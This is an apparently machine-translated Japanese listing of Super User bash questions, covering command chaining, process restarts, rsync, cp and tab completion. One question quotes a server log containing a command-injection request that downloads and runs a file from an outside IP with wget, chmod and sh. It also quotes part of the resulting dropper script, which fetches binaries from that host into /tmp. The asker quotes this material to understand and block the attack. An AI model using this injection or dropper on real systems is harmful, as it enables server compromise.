タグ付けされた質問 「bash」

Bashは、GNUプロジェクトのUnixライクなオペレーティングシステム用の無料のシェルです。



5
既に実行中の既存のコマンドが終了した後にコマンドを実行するにはどうすればよいですか?
長い時間がかかるスクリプトを開始する場合、スクリプトを開始した後に必然的にそれを認識し、終了後に何らかのアラートを行う方法があればいいのにと思います。 したがって、たとえば、私が実行した場合: really_long_script.sh Enterキーを押します...終了したら別のコマンドを実行するにはどうすればよいですか?
32 linux  bash  terminal 

7
失敗した場合、Linuxバックグラウンドプロセスを自動的に再起動する方法は?
バックグラウンドでinit.dスクリプトによって実行されるプロセスがあります。例えば: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac 特定の条件では、myprocessが失敗して戻ることがあります。障害を検出して自動的に再起動する方法(標準)はありますか?
32 linux  bash  process  daemon 

6
rsyncを使用して変更されたファイルを印刷する方法は?
実際にファイルを転送することなく、異なるすべてのファイルへの完全なファイルパスを印刷するためにrsyncを取得する方法はありますか? または、サイズの変更または最終変更時刻のみに基づいて、2つのツリー間で(SSHを介して)ファイルを比較する方法が必要です。
32 linux  bash  rsync  diff 

3
複数行のbashコマンドのコメント
この単一コマンドのBASHスクリプトファイルは理解するのが難しいため、アクションごとにコメントを書きたいと思います。 echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sedは単なる例であり、実際にはgrepsとtrsとawksが混在しています) 行を複製したり、各コメントが適用される行から遠く離れていることを嫌います。 しかし同時に、BASHは「インライン」コメントを許可していないようです。 この問題を解決するエレガントな方法はありますか?
32 bash  pipe  comments  sh 

8
Linuxでファイルをコピーし、宛先にファイルが存在する場合はコピーを避けます
この質問は、Super Userで回答できるため、Stack Overflowから移行されました。 9年前に移行され ました。 / home / userフォルダーをあるハードディスクから別のハードディスクにコピーする必要があります。100,000個のファイルと約10Gのサイズがあります。 私が使う cp -r /origin /destination リンクの破損や権限などが原因でエラーが発生することがあります。そのため、エラーを修正し、再度コピーを開始する必要があります。 コピー先のフォルダーにファイルが存在する場合、ファイルを再度コピーするのではなく、もう一度コピーしようとすると、コマンド "cp"にどのように伝えることができるのでしょうか。
32 linux  bash 

1
bashをよりTABフレンドリーにする方法はありますか?
Macとcygwinシェルの両方でbashを使用しています。全体として、私は非常に満足しています。 しかし、私の1つの不満は、そのTAB補完がWindowsコマンドラインTAB補完ほど良くないということです。 たとえば、同じプレフィックスのファイルが2つある場合、TABを完了しようとするとbashがビープ音を鳴らします。TABを釘付けし続けると、最終的には潜在的なファイルのリストが表示されます。 私は、Windowsがコマンドラインで潜在的なファイルを循環する方法を間違いなく好みます。 この点でbashをWindowsコマンドラインと同様に動作させる方法はありますか? 存在しない場合(シェルを切り替えたくない)、bashのTAB補完について何かが足りませんか?それを使用するより効率的な方法はありますか?

2
このbashスクリプトは何をしますか?[ハックの試み]
私は最近、サーバーのApacheログに気付いていましたが、最近次の奇妙な行があります: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" そこで、カスタムFail2Banフィルターを作成し、これらの/login.cgi URLを要求するIPの禁止を開始しました。 しかし、私は彼らが何をしようとしていたのか興味があったので、彼らが実行しようとしているスクリプトを引っ張ったので、それが何をしているのか正確には分からないようです。/ varおよび/ tmpのarchフォルダーを削除する方法はありますか? とにかく、ここにあります: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name …

2
bashの前のコマンドから特定の引数を取得するにはどうすればよいですか?
bashでは!*、前のコマンドからすべての引数を取得するために使用できます。例として、実行してcp /some/path /some/other/pathから実行した場合mv !*、2番目のコマンドはに展開されmv /some/path /some/other/pathます。 すべてではなく、コマンドから特定の引数にアクセスするために使用できるこのようなものはありますか?




8
bash:特殊文字を含むコマンドライン引数を渡す方法
program入力として正規表現を必要とするLinuxプログラムを自分で作成しました。 bashシェルでプログラムを呼び出し、その正規表現をコマンドライン引数としてプログラムに渡します(他のコマンドライン引数もあります)。典型的な正規表現は次のようになります [abc]\_[x|y] 残念ながら、文字[、]、および|に特殊文字ですbash。したがって、呼び出し program [abc]\_[x|y] anotheragument 動作しません。エスケープ文字や引用符などを使用して式を渡す方法はありますか? (program "[abc]\_[x|y] anotheragument"2つの引数を1つとして解釈するため、呼び出しも機能しません。)


弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.